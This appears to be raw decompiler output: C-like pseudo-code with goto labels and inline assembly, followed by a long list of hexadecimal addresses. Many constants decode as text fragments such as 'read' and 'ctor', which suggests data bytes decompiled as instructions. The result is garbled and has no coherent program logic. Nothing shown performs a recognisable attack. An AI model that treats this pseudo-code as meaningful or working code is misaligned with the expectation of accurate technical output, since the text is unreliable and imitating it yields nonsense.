												 *((intOrPtr*)(0xfffffffffffffffd)) =  *((intOrPtr*)(0xfffffffffffffffd)) + 0xfffffffffffffffd;
												 *[cs:eax] =  *[cs:eax] + 0xfffffffffffffffd;
												goto L187;
											}
											if(_t234 != 0) {
												goto L179;
											}
											asm("fs outsd");
											if (_t234 > 0) goto L178;
											asm("outsb");
										}
										_t136 = _t136 + 1;
										 *_t107 =  *_t107 + _t107;
										asm("loopne 0x2");
										L142:
										 *_t107 =  *_t107 + _t107;
										_t107 =  *0x1000072;
										L143:
										_push(_t150);
										_push(_t133);
										_t136 = _t136 + 1;
										_t228 = _t136;
										_push(_t133);
										if(_t228 == 0) {
											_t155 =  *(_t153 + 0x74) * 0;
											 *_t107 =  *_t107 + _t107;
											 *_t107 =  *_t107 + _t107;
											 *0x561b1e0a =  *0x561b1e0a + _t136;
											asm("aas");
											_push(cs);
											_t142 = _t136 &  *_t150 &  *_t151;
											L168:
											_push(cs);
											asm("lock imul eax, [eax+esi*8], 0x54f00138");
											L169:
											_t107 = 0x17 +  *(_t107 + _t151 * 8) * 0x54f00138;
											asm("lock xor [edx], eax");
											L170:
											 *_t148 =  *_t148 ^ _t107;
											_t143 =  *_t107;
											 *_t107 = _t142;
											 *_t107 =  *_t107 | _t143;
											 *_t107 =  *_t107 | _t143;
											_t144 = _t143 |  *_t133;
											 *_t107 =  *_t107 | _t144;
											 *_t107 =  *_t107 | _t144;
											 *_t107 =  *_t107 | _t144;
											asm("lock inc esi");
											_t136 = (_t144 |  *_t133) +  *_t107;
											L172:
											asm("das");
											asm("outsb");
											asm("outsb");
											_t107 = _t107 - 0x16 +  *_t136;
											 *_t151 =  *_t151 ^ _t148;
											_t260 = _t260 *  *_t107;
											L173:
											 *_t107 =  *_t107 | _t136;
											 *_t107 =  *_t107 | _t136;
											L174:
											 *_t107 =  *_t107 | _t136;
											_t146 = _t136 |  *_t133;
											asm("lock cmp [edx], eax");
											L175:
											asm("lock test dword [eax], 0xa13081e");
											L176:
											_push(ds);
											 *_t133 =  *_t133 | _t148;
											_t148 = _t148 |  *_t133;
											_t136 = _t146 |  *_t146;
											 *_t107 =  *_t107 | _t148;
											_t151 = _t151 + 1;
											 *_t107 =  *_t107 | _t136;
											asm("rcr dword [ebx+0x4e], cl");
											goto L177;
										}
										if(_t228 < 0) {
											goto L169;
										}
										if(_t228 != 0) {
											goto L168;
										}
										 *_t136 =  *_t136 + _t107;
										asm("popad");
										asm("arpl [ebx+0x65], sp");
										if( *_t136 < 0) {
											goto L170;
										}
										 *_t136 =  *_t136 + _t107;
										asm("bound ebp, [ecx+0x6e]");
										 *[fs:ecx] =  *[fs:ecx] + _t107;
										_t230 =  *[fs:ecx];
										asm("arpl [edi+ebp*2+0x73], bp");
										if (_t230 >= 0) goto L171;
										L148:
										asm("outsd");
									}
									L115:
									 *_t136 =  *_t136 + _t107;
									asm("o16 arpl [edi+ebp*2+0x73], bp");
									L116:
									asm("arpl [edi+ebp*2+0x73], bp");
									L117:
									if(_t211 >= 0) {
										L137:
										_t61 =  &(_t150[0x1c]);
										 *_t61 = _t150[0x1c] + _t151;
										_t225 =  *_t61;
									}
									 *_t136 =  *_t136 + _t107;
									asm("o16 insb");
									if( *_t136 != 0) {
										goto L143;
									}
									_push(0x6f660100);
									L120:
									_t42 = _t151 + 0x6f;
									 *_t42 =  *((intOrPtr*)(_t151 + 0x6f)) + _t155;
									if( *_t42 < 0) {
										goto L142;
									}
									L121:
									asm("outsb");
									 *_t136 =  *_t136 + _t107;
									asm("o16 jo 0x75");
									_t153 =  *(_t151 + 0x74) * 0x66010066;
									L122:
									 *_t136 =  *_t136 + _t107;
									asm("o16 jb 0x68");
									L123:
									 *[gs:ecx] =  *[gs:ecx] + _t107;
								}
								L83:
								_t133 = _t133 - 1;
								if (_t133 >= 0) goto L84;
								_t29 = _t148 + 0x65;
								 *_t29 =  *(_t148 + 0x65) + _t148;
								_t200 =  *_t29;
								asm("a16 inc ebx");
								if(_t200 < 0) {
									goto L115;
								}
								asm("popad");
								if(_t200 == 0) {
									goto L116;
								}
								_t133 = _t133 - 1;
								_t201 = _t133;
								if(_t201 >= 0) {
									L108:
									if(_t207 < 0) {
										L133:
										 *_t107 =  *_t107 + _t107;
										_t148 = _t148 + _t136;
										 *_t107 =  *_t107 + _t107;
										 *((intOrPtr*)(_t148 + _t151 * 2)) =  *((intOrPtr*)(_t148 + _t151 * 2)) + _t107;
										 *_t136 =  *_t136 + _t107;
										_pop(_t150);
										_t151 =  *(_t150 + 0x61 + _t153 * 2) * 0xd50000;
										L135:
										 *_t107 =  *_t107 + _t107;
										asm("aad 0x0");
										 *_t107 =  *_t107 + _t107;
										_t223 =  *_t107;
										_t60 = _t107;
										_t107 = _t155;
										_t155 = _t60;
										if (_t223 < 0) goto L136;
										 *_t136 =  *_t136 + _t107;
										goto L137;
									}
									if (_t207 == 0) goto L110;
									L110:
									_t37 =  &(_t150[0x19]);
									 *_t37 = _t133 + _t150[0x19];
									if( *_t37 < 0) {
										goto L135;
									}
									asm("outsb");
									asm("outsd");
									 *_t136 =  *_t136 + _t107;
									L112:
									_t150[0x1a] = _t133 + _t150[0x1a];
									goto L113;
								}
								if(_t201 < 0) {
									L106:
									asm("outsd");
									asm("outsb");
									goto L108;
								}
								 *_t136 =  *_t136 + _t107;
								_push(_t148);
								asm("a16 dec edi");
								L89:
								if(_t201 < 0) {
									goto L120;
								}
								asm("outsb");
								_t133 = _t133 - 1;
								_t202 = _t133;
								if(_t202 >= 0) {
									goto L114;
								}
								if(_t202 < 0) {
									goto L112;
								}
								 *_t136 =  *_t136 + _t107;
								L93:
								_t31 = _t148 + 0x65;
								 *_t31 =  *(_t148 + 0x65) + _t148;
								_t204 =  *_t31;
								asm("a16 push ecx");
								if(_t204 != 0) {
									goto L122;
								}
								if(_t204 < 0) {
									L126:
									 *_t136 =  *_t136 + _t107;
									L127:
									_t49 = _t153 + 0x65;
									 *_t49 =  *(_t153 + 0x65) + _t153;
									_t218 =  *_t49;
									asm("insd");
									if(_t218 >= 0) {
										goto L148;
									}
									if (_t218 == 0) goto L129;
									 *((intOrPtr*)(_t148 + 0x61)) =  *((intOrPtr*)(_t148 + 0x61)) + _t151;
									asm("outsb");
									 *[fs:ecx] =  *[fs:ecx] + _t107;
									if( *[fs:ecx] >= 0) {
										L154:
										if(_t230 >= 0) {
											goto L173;
										}
										asm("popad");
										asm("insd");
										 *[gs:ecx] =  *[gs:ecx] + _t107;
										_t231 =  *[gs:ecx];
										_push(0x736e6f74);
										L156:
										asm("outsd");
										asm("outsb");
										if (_t231 >= 0) goto L157;
										_t66 = _t136 + 0x73 + _t153 * 2;
										 *_t66 =  *((intOrPtr*)(_t136 + 0x73 + _t153 * 2)) + _t153;
										if( *_t66 == 0) {
											goto L175;
										}
										asm("outsb");
										 *_t136 =  *_t136 + _t107;
										if( *_t136 < 0) {
											goto L176;
										}
										asm("arpl [esi], si");
										_t133[0x19] = _t133[0x19] + _t151;
										asm("outsb");
										 *[fs:ecx] =  *[fs:ecx] + _t107;
										_t234 =  *[fs:ecx];
										goto L160;
									}
									asm("popad");
									asm("outsb");
									 *[fs:ecx] =  *[fs:ecx] + _t107;
									_t220 =  *[fs:ecx];
									if(_t220 >= 0) {
										goto L156;
									}
									if(_t220 < 0) {
										if(_t230 == 0) {
											goto L172;
										}
										asm("outsd");
										if(_t230 >= 0) {
											goto L174;
										}
										asm("bound edi, [ecx+0x6e]");
										goto L154;
									}
									asm("popad");
									if (_t220 == 0) goto L134;
									goto L133;
								}
								_push(_t151);
								asm("popad");
								asm("insb");
								L96:
								if(_t204 != 0) {
									 *((intOrPtr*)(_t153 + 0x61)) =  *((intOrPtr*)(_t153 + 0x61)) + _t153;
									asm("insb");
									asm("insb");
									asm("outsd");
									asm("arpl [eax], ax");
									 *(_t153 + 0x65) =  *(_t153 + 0x65) + _t153;
									asm("insd");
									asm("arpl [eax+0x79], si");
									goto L126;
								}
								L97:
								_t153 = _t153 + 1;
								_t205 = _t153;
								if(_t205 < 0) {
									goto L117;
								}
								 *_t136 =  *_t136 + _t107;
								_push(_t148);
								asm("a16 push ebx");
								L99:
								asm("a16 push ebx");
								if(_t205 == 0) {
									goto L123;
								}
								asm("popad");
								asm("insb");
								if(_t205 != 0) {
									goto L127;
								}
								_t153 = _t153 + 1;
								_t206 = _t153;
								L102:
								if(_t206 < 0) {
									goto L121;
								}
								 *_t107 =  *_t107 + _t107;
								asm("retf 0x0");
								L104:
								 *_t107 =  *_t107 + _t107;
								 *((intOrPtr*)(_t107 + 0x72)) =  *((intOrPtr*)(_t107 + 0x72)) + _t148;
								 *_t107 =  *_t107 + _t107;
								_t35 =  &(_t150[0x17]);
								 *_t35 = _t133 + _t150[0x17];
								_t207 =  *_t35;
								asm("fs insb");
								asm("insb");
								goto L106;
							}
							 *[gs:ecx] =  *[gs:ecx] + _t107;
							_push(_t133);
							if ( *[gs:ecx] == 0) goto L71;
							L56:
							_t153 = _t153 + 1;
							_t188 = _t153;
						}
						 *_t136 =  *_t136 + _t107;
						_t150 =  &(_t150[0]);
						_t178 = _t150;
						if(_t178 == 0) {
							L61:
							_t151 = _t151 + 1;
							_t190 = _t151;
						}
						asm("gs insd");
						L41:
						asm("insd");
						if(_t178 < 0) {
							L59:
							if(_t188 < 0) {
								if(_t195 < 0) {
									goto L102;
								}
								asm("insd");
								if(_t195 < 0) {
									goto L93;
								}
								 *_t136 =  *_t136 + _t107;
								_t196 =  *_t136;
								asm("insb");
								if(_t196 >= 0) {
									goto L110;
								}
								if (_t196 < 0) goto L107;
								L80:
								asm("insb");
							}
							asm("outsd");
							 *[gs:ecx] =  *[gs:ecx] + _t107;
							_push(_t133);
							if ( *[gs:ecx] == 0) goto L77;
							goto L61;
						}
						L42:
						_t153 =  *(_t153 + 0x4e) * 0x41656d61;
						 *_t136 =  *_t136 + _t107;
						_t150 =  &(_t150[0]);
						_t179 = _t150;
						if(_t179 == 0) {
							L65:
							asm("insb");
							if (_t191 < 0) goto L66;
							_t150[0x18] = _t150[0x18] + _t148;
							_t151 =  *(_t151 + 0x6f + _t107 * 2) * 0x6e695372;
							_t192 = _t151;
							L67:
							_t153 =  *(_t151 + 0x67) * 0x624f656c;
							_push(0x65);
							asm("arpl [eax+eax+0x1], si");
							L68:
							_push(_t150);
							if(_t192 < 0) {
								goto L97;
							}
							if(_t192 == 0) {
								goto L96;
							}
							_t151 = _t151 + 1;
							_t153 =  *_t153 * 0x74736c01;
							_t193 = _t153;
							asm("insb");
							if(_t193 >= 0) {
								goto L104;
							}
							if(_t193 < 0) {
								goto L99;
							}
							asm("popad");
							if(_t193 == 0) {
								goto L89;
							}
							 *_t136 =  *_t136 + _t107;
							L75:
							_t23 = _t133 + 0x74 + _t151 * 2;
							 *_t23 =  *((intOrPtr*)(_t133 + 0x74 + _t151 * 2)) + _t153;
							_t195 =  *_t23;
						}
						asm("gs insd");
						if(_t179 < 0) {
							goto L65;
						}
						asm("popad");
						if(_t179 == 0) {
							goto L68;
						}
						L45:
						_t136 = _t136 + 1;
						 *_t136 =  *_t136 + _t107;
						L46:
						_t9 =  &(_t150[0x19]);
						 *_t9 = _t150[0x19] + _t107;
						if( *_t9 == 0) {
							goto L67;
						}
						_t155 = _t133[0x1a] * 0x6e756f43;
						L48:
						_t133 =  &(_t133[0]);
						_t183 = _t133;
						asm("outsd");
						if(_t183 != 0) {
							goto L75;
						}
						if (_t183 == 0) goto L50;
						L50:
						_t150[0x1b] = _t150[0x1b] + _t107;
						L51:
						asm("insb");
						asm("outsd");
						asm("bound esp, [ecx+0x6c]");
						_t136 = _t136 + 1;
						asm("insb");
						asm("insb");
						asm("outsd");
						asm("arpl [eax], ax");
						_t150[0x1b] = _t150[0x1b] + _t107;
						L52:
						_t150 =  &(_t150[0]);
						asm("insb");
						asm("outsd");
						asm("bound esp, [ecx+0x6c]");
						goto L53;
					}
					if(_t168 == 0) {
						goto L48;
					}
					asm("insd");
					_t151 = _t151 - 1;
					asm("popad");
					L20:
					asm("insd");
					_t136 = _t136 + 1;
					 *_t136 =  *_t136 + _t107;
					_t150 =  &(_t150[0]);
					_t169 = _t150;
					if(_t169 == 0) {
						goto L42;
					}
					if(_t169 < 0) {
						goto L51;
					}
					if(_t169 <= 0) {
						goto L50;
					}
					_push(_t155);
					if(_t169 >= 0) {
						goto L52;
					}
					L24:
					_t147 = _t136 + 1;
					L25:
					_t136 = _t147 + 1;
					 *_t136 =  *_t136 + _t107;
					_t150 =  &(_t150[0]);
					_t171 = _t150;
					if(_t171 == 0) {
						goto L46;
					}
					L26:
					asm("popad");
					if(_t171 >= 0) {
						goto L56;
					}
					_t153 = _t153 + 1;
					_t172 = _t153;
					if(_t172 < 0) {
						if(_t188 < 0) {
							goto L83;
						}
						asm("outsd");
						goto L59;
					}
					L28:
					asm("outsd");
					if (_t172 < 0) goto L29;
					_t4 =  &(_t150[0x19]);
					 *_t4 = _t150[0x19] + _t107;
					if( *_t4 == 0) {
						goto L50;
					}
					asm("outsd");
					asm("arpl [ecx+0x6c], sp");
					L31:
					asm("insb");
					_push(_t155);
					_t153 =  *(_t153 + 0x65) * 0x65470100;
					L32:
					asm("insd");
					 *[gs:ecx] =  *[gs:ecx] + _t107;
					L33:
					_t150 =  &(_t150[0]);
					_t176 = _t150;
					if(_t176 == 0) {
						goto L54;
					}
					if(_t176 >= 0) {
						if(_t190 >= 0) {
							goto L80;
						}
						 *_t136 =  *_t136 + _t107;
						_t191 =  *_t136;
						_push(_t133);
						goto L65;
					}
					if(_t176 == 0) {
						goto L61;
					}
					asm("insd");
					L37:
					_t155 = _t155 + 1;
					_t151 =  *(_t148 + 0x65) * 0x726f7463;
					_t177 = _t151;
					goto L38;
				}
				asm("insd");
				_t136 = _t136 + 1;
				 *_t136 =  *_t136;
				_t133 =  &(_t133[0]);
				asm("insb");
				asm("outsd");
				if(_t133 >= 0) {
					L16:
					if (_t168 == 0) goto L38;
					goto L17;
				}
				_t107 = 0xffffffffffffffff;
				asm("popad");
				asm("outsb");
				asm("fs insb");
				 *[gs:ecx] =  *[gs:ecx];
				_t133 =  &(_t133[0]);
				asm("outsd");
				if(_t133 < 0) {
					goto L26;
				}
				_t151 = _t151 + 1;
				_t153 =  *(_t153 + 0x41) * 0x72430100;
				asm("popad");
				if(_t153 == 0) {
					goto L25;
				}
				_t151 = _t151 + 1;
				_t153 =  *(_t153 + 0x41) * 0x72430100;
				asm("popad");
				if(_t153 == 0) {
					goto L28;
				}
				_t153 = _t153 - 1;
				_t163 = _t153;
				if(_t163 != 0) {
					goto L33;
				}
				if(_t163 < 0) {
					goto L20;
				}
				 *_t136 =  *_t136;
				_t133 =  &(_t133[0]);
				_t164 = _t133;
				if(_t164 < 0) {
					goto L31;
				}
				asm("popad");
				if(_t164 == 0) {
					goto L32;
				}
				_push(0xffffffffffffffff);
				if(_t164 < 0) {
					goto L37;
				}
				asm("arpl [ebp+0x73], sp");
				if(_t164 >= 0) {
					goto L24;
				}
				 *_t136 =  *_t136;
				_t133 =  &(_t133[0]);
				_t165 = _t133;
				if(_t165 < 0) {
					goto L37;
				}
				asm("popad");
				if(_t165 == 0) {
					goto L38;
				}
				_push(_t155);
				_push(0x64616572);
				 *_t136 =  *_t136;
				_t155 = _t155 + 1;
				asm("gs insb");
				if( *_t136 == 0) {
					goto L41;
				}
				_t151 = _t151 + 1;
				_t153 =  *(_t153 + 0x41) * 0x69460100;
				asm("outsb");
				_t136 = _t136 + 1;
				if(_t136 == 0) {
					goto L45;
				}
				asm("insd");
				_t136 = _t136 + 1;
				 *_t136 =  *_t136;
				_t150 =  &(_t150[0]);
				_t168 = _t150;
				goto L16;
			}

0x1000a000
0x1000a002
0x1000a004
0x1000a007
0x1000a00a
0x1000a00d
0x1000a07e
0x1000a07e
0x1000a0c1
0x1000a0c1
0x1000a0c6
0x1000a109
0x1000a109
0x1000a10a
0x1000a10b
0x1000a10b
0x1000a10c
0x1000a10c
0x1000a173
0x1000a175
0x1000a176
0x1000a178
0x1000a17d
0x1000a17f
0x1000a181
0x1000a182
0x1000a185
0x1000a186
0x1000a187
0x1000a1ee
0x1000a1ee
0x1000a1ef
0x1000a1ef
0x1000a1ef
0x1000a1f6
0x1000a1f7
0x1000a26d
0x1000a2d5
0x1000a2d5
0x1000a33f
0x1000a33f
0x1000a343
0x1000a349
0x1000a34b
0x1000a34c
0x1000a34d
0x1000a34d
0x1000a350
0x1000a352
0x1000a354
0x1000a356
0x1000a358
0x1000a35a
0x1000a35c
0x1000a362
0x1000a364
0x1000a36a
0x1000a36b
0x1000a36c
0x1000a36e
0x1000a36f
0x1000a370
0x1000a372
0x1000a373
0x1000a374
0x1000a376
0x1000a37e
0x1000a380
0x1000a382
0x1000a389
0x1000a38b
0x1000a38d
0x1000a38f
0x1000a391
0x1000a392
0x1000a394
0x1000a396
0x1000a398
0x1000a39a
0x1000a39c
0x1000a39e
0x1000a3a0
0x1000a3a2
0x1000a3a4
0x1000a3a6
0x1000a3a8
0x1000a3aa
0x1000a3ac
0x1000a3ae
0x1000a3b0
0x1000a3b2
0x1000a3b4
0x1000a3b6
0x1000a3b8
0x1000a3ba
0x1000a3bc
0x1000a3be
0x1000a3c0
0x1000a3da
0x1000a3dc
0x1000a3df
0x1000a3e1
0x1000a3e2
0x1000a3e4
0x1000a3ea
0x1000a3ec
0x1000a3ee
0x1000a3f0
0x1000a3f2
0x1000a3f4
0x1000a3f6
0x1000a3fa
0x1000a3fc
0x1000a400
0x1000a402
0x1000a404
0x1000a407
0x1000a409
0x1000a40b
0x1000a40d
0x1000a410
0x1000a412
0x1000a414
0x1000a416
0x1000a418
0x1000a41a
0x1000a41c
0x1000a41f
0x1000a421
0x1000a423
0x1000a425
0x1000a427
0x1000a429
0x1000a42b
0x1000a42d
0x1000a433
0x1000a435
0x1000a438
0x1000a43a
0x1000a43c
0x1000a43e
0x1000a440
0x1000a442
0x1000a444
0x1000a446
0x1000a448
0x1000a44a
0x1000a44c
0x1000a44e
0x1000a450
0x1000a452
0x1000a454
0x1000a456
0x1000a458
0x1000a45b
0x1000a45d
0x1000a463
0x1000a465
0x1000a467
0x1000a469
0x1000a46b
0x1000a46d
0x1000a46f
0x1000a471
0x1000a473
0x1000a475
0x1000a477
0x1000a479
0x1000a47b
0x1000a47d
0x1000a483
0x1000a485
0x1000a487
0x1000a489
0x1000a48b
0x1000a48d
0x1000a48f
0x1000a491
0x1000a493
0x1000a495
0x1000a497
0x1000a499
0x1000a49b
0x1000a49d
0x1000a49f
0x1000a4a1
0x1000a4a3
0x1000a4a5
0x1000a4a7
0x1000a4a9
0x1000a4ab
0x1000a4ad
0x1000a4af
0x1000a4b1
0x1000a4b3
0x1000a4b5
0x1000a4b7
0x1000a4b9
0x1000a4bb
0x1000a4bd
0x1000a4bf
0x1000a4c1
0x1000a4c3
0x1000a4c5
0x1000a4c7
0x1000a4c9
0x1000a4cb
0x1000a4cd
0x1000a4cf
0x1000a4d1
0x1000a4d3
0x1000a4d3
0x1000a4d5
0x1000a53d
0x1000a53d
0x1000a53f
0x1000a541
0x1000a543
0x1000a545
0x1000a547
0x1000a549
0x1000a54a
0x1000a54c
0x1000a54d
0x1000a54e
0x1000a54e
0x1000a551
0x1000a553
0x1000a555
0x1000a556
0x1000a558
0x1000a55a
0x1000a55b
0x1000a55d
0x1000a55f
0x1000a561
0x1000a563
0x1000a563
0x1000a565
0x1000a567
0x1000a569
0x1000a56b
0x1000a56d
0x1000a56f
0x1000a571
0x1000a574
0x1000a577
0x1000a579
0x1000a5dc
0x1000a5dc
0x1000a5de
0x1000a5e0
0x1000a5e2
0x1000a5e4
0x1000a5e6
0x1000a5e8
0x1000a5eb
0x1000a5ef
0x1000a5f1
0x1000a5f3
0x1000a589
0x1000a589
0x1000a58b
0x1000a58c
0x1000a58c
0x1000a58e
0x1000a590
0x1000a592
0x1000a594
0x1000a596
0x1000a598
0x1000a59b
0x1000a5a6
0x1000a5a7
0x1000a5a9
0x1000a5af
0x1000a5b1
0x1000a5b3
0x1000a5b5
0x1000a5b7
0x1000a5b9
0x1000a5bb
0x1000a5bd
0x1000a5bf
0x1000a5c1
0x1000a5c2
0x1000a5c4
0x1000a5c7
0x1000a5c9
0x1000a5ca
0x1000a5cc
0x1000a5ce
0x1000a5d0
0x1000a5d3
0x1000a5d5
0x1000a5d7
0x1000a5d9
0x1000a5db
0x00000000
0x1000a5db
0x1000a57b
0x1000a57d
0x1000a57e
0x1000a580
0x1000a582
0x1000a584
0x1000a586
0x1000a588
0x00000000
0x1000a588
0x1000a4d8
0x00000000
0x00000000
0x1000a4da
0x1000a4dc
0x1000a4df
0x1000a4e1
0x1000a4e3
0x1000a4e5
0x1000a4e7
0x1000a4e9
0x1000a4ec
0x1000a4ee
0x1000a4f0
0x1000a4f2
0x1000a4f4
0x1000a4f6
0x1000a4f8
0x1000a4fb
0x1000a4fc
0x1000a4fd
0x1000a500
0x00000000
0x00000000
0x1000a502
0x1000a504
0x1000a508
0x1000a50a
0x1000a50b
0x1000a50d
0x1000a50f
0x1000a511
0x1000a514
0x1000a516
0x1000a518
0x1000a51a
0x1000a51c
0x1000a51e
0x1000a520
0x1000a523
0x1000a525
0x00000000
0x00000000
0x1000a528
0x1000a529
0x00000000
0x00000000
0x1000a52b
0x1000a52f
0x1000a531
0x1000a534
0x1000a536
0x1000a538
0x1000a53a
0x00000000
0x1000a53a
0x1000a2d7
0x00000000
0x00000000
0x1000a2d9
0x1000a2db
0x1000a2dc
0x1000a2dc
0x1000a26f
0x1000a270
0x1000a272
0x1000a274
0x1000a274
0x1000a276
0x1000a27b
0x1000a27b
0x1000a27c
0x1000a27d
0x1000a27d
0x1000a27e
0x1000a27f
0x1000a2e2
0x1000a2e6
0x1000a2e8
0x1000a2ea
0x1000a2f2
0x1000a2f3
0x1000a2f4
0x1000a2f5
0x1000a2f5
0x1000a2f6
0x1000a2f7
0x1000a2fe
0x1000a300
0x1000a301
0x1000a301
0x1000a303
0x1000a303
0x1000a305
0x1000a307
0x1000a309
0x1000a30b
0x1000a30d
0x1000a30f
0x1000a313
0x1000a315
0x1000a317
0x1000a317
0x1000a31a
0x1000a31b
0x1000a31e
0x1000a320
0x1000a322
0x1000a323
0x1000a323
0x1000a325
0x1000a326
0x1000a326
0x1000a328
0x1000a32a
0x1000a32b
0x1000a32d
0x1000a330
0x1000a330
0x1000a331
0x1000a333
0x1000a335
0x1000a337
0x1000a339
0x1000a33a
0x1000a33c
0x00000000
0x1000a33c
0x1000a281
0x00000000
0x00000000
0x1000a283
0x00000000
0x00000000
0x1000a285
0x1000a287
0x1000a288
0x1000a28b
0x00000000
0x00000000
0x1000a28d
0x1000a28f
0x1000a292
0x1000a292
0x1000a295
0x1000a299
0x1000a29b
0x1000a29b
0x1000a29b
0x1000a1f9
0x1000a1f9
0x1000a1fb
0x1000a1fc
0x1000a1fc
0x1000a1ff
0x1000a1ff
0x1000a266
0x1000a266
0x1000a266
0x1000a266
0x1000a266
0x1000a201
0x1000a203
0x1000a206
0x00000000
0x00000000
0x1000a208
0x1000a20a
0x1000a20a
0x1000a20a
0x1000a20d
0x00000000
0x00000000
0x1000a20f
0x1000a20f
0x1000a210
0x1000a212
0x1000a215
0x1000a219
0x1000a219
0x1000a21b
0x1000a21d
0x1000a21d
0x1000a21d
0x1000a189
0x1000a189
0x1000a18a
0x1000a18d
0x1000a18d
0x1000a18d
0x1000a190
0x1000a192
0x00000000
0x00000000
0x1000a194
0x1000a195
0x00000000
0x00000000
0x1000a197
0x1000a197
0x1000a198
0x1000a1e0
0x1000a1e0
0x1000a24c
0x1000a24c
0x1000a24d
0x1000a24f
0x1000a251
0x1000a255
0x1000a257
0x1000a258
0x1000a25c
0x1000a25c
0x1000a25e
0x1000a260
0x1000a260
0x1000a262
0x1000a262
0x1000a262
0x1000a263
0x1000a265
0x00000000
0x1000a265
0x1000a1e3
0x1000a1e5
0x1000a1e5
0x1000a1e5
0x1000a1e8
0x00000000
0x00000000
0x1000a1ea
0x1000a1eb
0x1000a1ec
0x1000a1ed
0x1000a1ed
0x00000000
0x1000a1ed
0x1000a19b
0x1000a1de
0x1000a1de
0x1000a1df
0x00000000
0x1000a1df
0x1000a19d
0x1000a19f
0x1000a1a0
0x1000a1a3
0x1000a1a3
0x00000000
0x00000000
0x1000a1a5
0x1000a1a6
0x1000a1a6
0x1000a1a7
0x00000000
0x00000000
0x1000a1aa
0x00000000
0x00000000
0x1000a1ac
0x1000a1ad
0x1000a1ad
0x1000a1ad
0x1000a1ad
0x1000a1b0
0x1000a1b2
0x00000000
0x00000000
0x1000a1b4
0x1000a22f
0x1000a22f
0x1000a230
0x1000a230
0x1000a230
0x1000a230
0x1000a233
0x1000a234
0x00000000
0x00000000
0x1000a236
0x1000a238
0x1000a23b
0x1000a23c
0x1000a23f
0x1000a2b3
0x1000a2b3
0x00000000
0x00000000
0x1000a2b5
0x1000a2b6
0x1000a2b7
0x1000a2b7
0x1000a2ba
0x1000a2bc
0x1000a2bc
0x1000a2bd
0x1000a2be
0x1000a2c0
0x1000a2c0
0x1000a2c4
0x00000000
0x00000000
0x1000a2c6
0x1000a2c7
0x1000a2c9
0x00000000
0x00000000
0x1000a2cb
0x1000a2ce
0x1000a2d1
0x1000a2d2
0x1000a2d2
0x00000000
0x1000a2d2
0x1000a241
0x1000a242
0x1000a243
0x1000a243
0x1000a246
0x00000000
0x00000000
0x1000a248
0x1000a2ad
0x00000000
0x00000000
0x1000a2af
0x1000a2b0
0x00000000
0x00000000
0x1000a2b2
0x00000000
0x1000a2b2
0x1000a24a
0x1000a24b
0x00000000
0x1000a24b
0x1000a1b6
0x1000a1b7
0x1000a1b8
0x1000a1b9
0x1000a1b9
0x1000a220
0x1000a223
0x1000a224
0x1000a225
0x1000a226
0x1000a228
0x1000a22b
0x1000a22c
0x00000000
0x1000a22c
0x1000a1bb
0x1000a1bb
0x1000a1bb
0x1000a1bc
0x00000000
0x00000000
0x1000a1be
0x1000a1c0
0x1000a1c1
0x1000a1c2
0x1000a1c2
0x1000a1c4
0x00000000
0x00000000
0x1000a1c7
0x1000a1c8
0x1000a1c9
0x00000000
0x00000000
0x1000a1cb
0x1000a1cb
0x1000a1cc
0x1000a1cc
0x00000000
0x00000000
0x1000a1ce
0x1000a1d0
0x1000a1d1
0x1000a1d1
0x1000a1d3
0x1000a1d6
0x1000a1d8
0x1000a1d8
0x1000a1d8
0x1000a1db
0x1000a1dd
0x00000000
0x1000a1dd
0x1000a10e
0x1000a111
0x1000a112
0x1000a114
0x1000a114
0x1000a114
0x1000a114
0x1000a0c8
0x1000a0ca
0x1000a0ca
0x1000a0cb
0x1000a122
0x1000a122
0x1000a122
0x1000a122
0x1000a0ce
0x1000a0cf
0x1000a0cf
0x1000a0d0
0x1000a118
0x1000a118
0x1000a167
0x00000000
0x00000000
0x1000a169
0x1000a16a
0x00000000
0x00000000
0x1000a16c
0x1000a16c
0x1000a16e
0x1000a16f
0x00000000
0x00000000
0x1000a171
0x1000a172
0x1000a172
0x1000a172
0x1000a11a
0x1000a11b
0x1000a11f
0x1000a120
0x00000000
0x1000a120
0x1000a0d2
0x1000a0d2
0x1000a0da
0x1000a0dc
0x1000a0dc
0x1000a0dd
0x1000a134
0x1000a134
0x1000a135
0x1000a139
0x1000a13c
0x1000a13c
0x1000a142
0x1000a142
0x1000a149
0x1000a14b
0x1000a14f
0x1000a14f
0x1000a150
0x00000000
0x00000000
0x1000a152
0x00000000
0x00000000
0x1000a154
0x1000a155
0x1000a155
0x1000a15a
0x1000a15b
0x00000000
0x00000000
0x1000a15d
0x00000000
0x00000000
0x1000a15f
0x1000a160
0x00000000
0x00000000
0x1000a162
0x1000a163
0x1000a163
0x1000a163
0x1000a163
0x1000a163
0x1000a0e0
0x1000a0e2
0x00000000
0x00000000
0x1000a0e4
0x1000a0e5
0x00000000
0x00000000
0x1000a0e7
0x1000a0e7
0x1000a0e8
0x1000a0e9
0x1000a0e9
0x1000a0e9
0x1000a0ec
0x00000000
0x00000000
0x1000a0ee
0x1000a0f1
0x1000a0f1
0x1000a0f1
0x1000a0f2
0x1000a0f3
0x00000000
0x00000000
0x1000a0f5
0x1000a0f7
0x1000a0f7
0x1000a0f9
0x1000a0f9
0x1000a0fa
0x1000a0fb
0x1000a0fe
0x1000a0ff
0x1000a100
0x1000a101
0x1000a102
0x1000a104
0x1000a105
0x1000a105
0x1000a106
0x1000a107
0x1000a108
0x00000000
0x1000a108
0x1000a080
0x00000000
0x00000000
0x1000a082
0x1000a083
0x1000a084
0x1000a085
0x1000a085
0x1000a086
0x1000a088
0x1000a08a
0x1000a08a
0x1000a08b
0x00000000
0x00000000
0x1000a08e
0x00000000
0x00000000
0x1000a090
0x00000000
0x00000000
0x1000a092
0x1000a093
0x00000000
0x00000000
0x1000a095
0x1000a095
0x1000a096
0x1000a096
0x1000a097
0x1000a099
0x1000a099
0x1000a09a
0x00000000
0x00000000
0x1000a09d
0x1000a09d
0x1000a09e
0x00000000
0x00000000
0x1000a0a0
0x1000a0a0
0x1000a0a1
0x1000a115
0x00000000
0x00000000
0x1000a117
0x00000000
0x1000a117
0x1000a0a3
0x1000a0a3
0x1000a0a4
0x1000a0a6
0x1000a0a6
0x1000a0a9
0x00000000
0x00000000
0x1000a0ab
0x1000a0ac
0x1000a0ae
0x1000a0ae
0x1000a0af
0x1000a0b0
0x1000a0b1
0x1000a0b1
0x1000a0b2
0x1000a0b5
0x1000a0b5
0x1000a0b5
0x1000a0b6
0x00000000
0x00000000
0x1000a0b9
0x1000a12e
0x00000000
0x00000000
0x1000a131
0x1000a131
0x1000a133
0x00000000
0x1000a133
0x1000a0bb
0x00000000
0x00000000
